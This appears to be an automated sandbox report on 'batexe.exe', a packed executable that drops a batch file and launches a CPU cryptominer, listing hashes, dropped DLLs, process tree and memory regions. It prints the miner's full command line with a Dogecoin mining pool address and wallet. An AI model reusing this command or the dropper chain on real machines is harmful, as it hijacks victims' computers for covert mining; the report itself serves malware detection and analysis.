Analysis

  • max time kernel
    297s
  • max time network
    307s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    14/02/2024, 11:03

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Users\Admin\AppData\Local\Temp\1A0B.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\1A0B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1A0B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4584
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2093.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4720
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2388

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\1A0B.tmp\b2e.exe

          Filesize

          3.2MB

          MD5

          47e39c0b868a97da7cf626f9a5b1eb76

          SHA1

          e801b1928655f5b37ece8ec56b8239d8c1c1a450

          SHA256

          4a84ee1c4c48ae848bf44e4a156a2beff0076a2b02873b2372afe73276dd40db

          SHA512

          913b51920b00e4e67ec5c223a77a88050bae7316473c862acc065679d9d929a946c1d10a1566f91ca1bd6eab2f9b68e4b5e9769cb5755cdba0ae9ee6cb9c42a1

        • C:\Users\Admin\AppData\Local\Temp\1A0B.tmp\b2e.exe

          Filesize

          2.1MB

          MD5

          48ecfe3acc215840ace5478c2ce55f09

          SHA1

          e2112534b31ebfcdf21862cb471ea0c6f1e48c3a

          SHA256

          32ca43fb55b2c57946ef80887ddf3f1cd2f4525f7cd9f859dc0dd0dfd4ede8cf

          SHA512

          2d1925085fa64aca6a607398bbd090f479a762787c84ac17f2c8c086a0c18341d1dfc2c861c2f7e475b25a6f7ac12ef02b075a78810277bcb2675677cf0052e5

        • C:\Users\Admin\AppData\Local\Temp\2093.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          229KB

          MD5

          c7b0367e7bbda3251165d24445d1d2d8

          SHA1

          b18cd9f047619ebcb7e8f80292961e6d2db01c6e

          SHA256

          2e493825d7f9ede302546b6d79223c96f8e9ac5ff624defe471c056a3ffe2b54

          SHA512

          7dcf2f939bd01afe74a030bb41d19a6b0cedefbbc38aa6edf41308c4cbc059017df3903454d9588d918c05200a8ac5d3467be55d09c1e41a910bfa61adaee24e

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          132KB

          MD5

          9d0d288a5526d0af6426d5800ef4498b

          SHA1

          2d2b21b09ddccc17503a2498773fc27d1d73485d

          SHA256

          a2ba1f00d9bcd4b85cbd3ce836e00f1c66d647b6b279f369db341dfd4fd6812f

          SHA512

          92e297a08ac696e607548019c20253892ce738bdacd1709d4173e2bd763104d6fe9f5322189094c4bdb8c069b223b493cb36953dcfb976f4cc1025e11f7f2a82

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          142KB

          MD5

          5a8addef525e8a1a615a9b7533ffda90

          SHA1

          3fbf94eb8af0c427e75c2508e494754f804e6b4e

          SHA256

          1f86111d411341522bb85bf0c92f9c607e16d699866fe70e1b1276039d3e6925

          SHA512

          4fdf0ebb65098d560f4ac128208e6413fff6306b463d6cb86724f38137790be9d8e051ec6eec4d0371cb2a3251ba02b190543cc4772321d5cbf9c87b1685ec24

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          94KB

          MD5

          2eb16b7133cdce1b3290d5ecf72a8b6f

          SHA1

          54d3dc731b40725e87f6e96dc0bbf9c4e3b3f2c2

          SHA256

          b7934b97ded257fc77227dfd35c9cf69a60af3111b35c4167fd79e863be00414

          SHA512

          49fc4f6604622fbac832fec4e4b56466ff5ca35a39f4035960970663cbd9833c430243bec1b321644602d892cbcb0c35dad005e2e9ab1ed06902d149fe290e82

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          148KB

          MD5

          1814a72c60e358dcd338724e725e85e3

          SHA1

          5b88f94dc1ab3a6be9cc17fd02bb0fb532423183

          SHA256

          56f72e746bf0a0d46d2924d947dd5736437b94c0bcb64a35dcc7bb10cc8c1763

          SHA512

          4815a4e68377a6e10af3eff206e6632d0b0a40e88f6d968cb5532749b2449e6e82b280ee2465386a2dd3ab103b4e1e8bb18f1012b50122f6f7cbcb64460d742d

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          184KB

          MD5

          5ebdd92d5c41d80fa9e5c8b93c66650f

          SHA1

          c949240571235ba53a0b61c78bd1b0d90c368530

          SHA256

          9dbe5bc536e5ff8a87c4741d4e3827f99d58ed91f195655087eabef126ddb1ad

          SHA512

          08e139ded32a0705bc674fba16696091677ca39222924f1f2cf6527d6d06d628f8c04db18a26b86eaaed4f74cbc687c4bd77fc757ee18a126dc47c9dfc148a83

        • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          78KB

          MD5

          a73b70e4f24237d4d4bba2755fb91626

          SHA1

          e1390ef555e5ea30bcdd40893ecfec416de2d2e8

          SHA256

          b9a2b74d93f28184416a97c51d226985abeeb3a4218cbd054d3bc810c5e573e6

          SHA512

          1dbf5c9b007375b372c39d162459ecbfa51d2a3926aff3b8e6a6306ef756fe5c9b536c601428ce0a43e5290aacfe22541294cf28d0e804db7947c691145b502f

        • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          149KB

          MD5

          4365aab46385493765037e58bf910e9e

          SHA1

          d7a84ccfa430cf83defcd2e7c330e6cf5c24c0c6

          SHA256

          20dfd19c8a4951e86ea6f71c94fae93bade07b2b430efa768aa066e5cd841430

          SHA512

          e729e2b6e961087f5db1cc58fd5c4837ea22ae6f2144672333dcb02936d91d2a10072fbb290d811f5e2e4eaf898f22e3d945f5780b062363fe9f26768beb1c0d

        • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          112KB

          MD5

          1e770298f67e08e372d1d586875cd956

          SHA1

          62364be3652d78816b11ac1378b616e4821beb34

          SHA256

          215d7473f2011bd8115448dbc069d729a1d767b7445c450b44a1d9b3bda25fd9

          SHA512

          3d83ca96bc9a08cf575c0e7d4ebb68d1ce68cdfa2fabd7db71b80bf92e2fc026f28c10090309cd458999aee09a432b48aec92f7de781795683cb58ed0e4481f7

        • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          103KB

          MD5

          55d6bc7ff13a449b6e38d80a13e10cdf

          SHA1

          050e7a617ab868e290eb2ff9097bd2dea0222d39

          SHA256

          f625048fcdfe9142ee6b1c55153d27d5f3a5a323ed3f2e071a2afd3762b9eec7

          SHA512

          a97399ceabc0cb85d43748a00c95586e747b5f6bd86e3991da54617e395e2e0ef5e4216d8b4f449e6e1b87ab755be5d4f3d0fd75841d558b118a0c1d6223efae

        • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          114KB

          MD5

          d283a69f80cb18047420a8e166a6f657

          SHA1

          b99a45fa80f8b1f5b187f425a5fb8a18550a9810

          SHA256

          26f34802d87aedf24aebb745bba88fafe070fb49a0e8b149086f1e5e86392864

          SHA512

          707bf164b7422dd2f5861e8beff202d2cc5f161d752ef34297079f4f9bde3c9ecb6b1b1a5502a7a3f2b3975a8bc815b0a8315d7fbb54c5363e0d28cf156f6ba5

        • memory/1404-5-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/2388-71-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-56-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-41-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/2388-43-0x0000000061B90000-0x0000000061C28000-memory.dmp

          Filesize

          608KB

        • memory/2388-42-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/2388-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

          Filesize

          24.7MB

        • memory/2388-101-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-40-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-61-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-66-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-86-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2388-76-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4584-4-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/4584-50-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB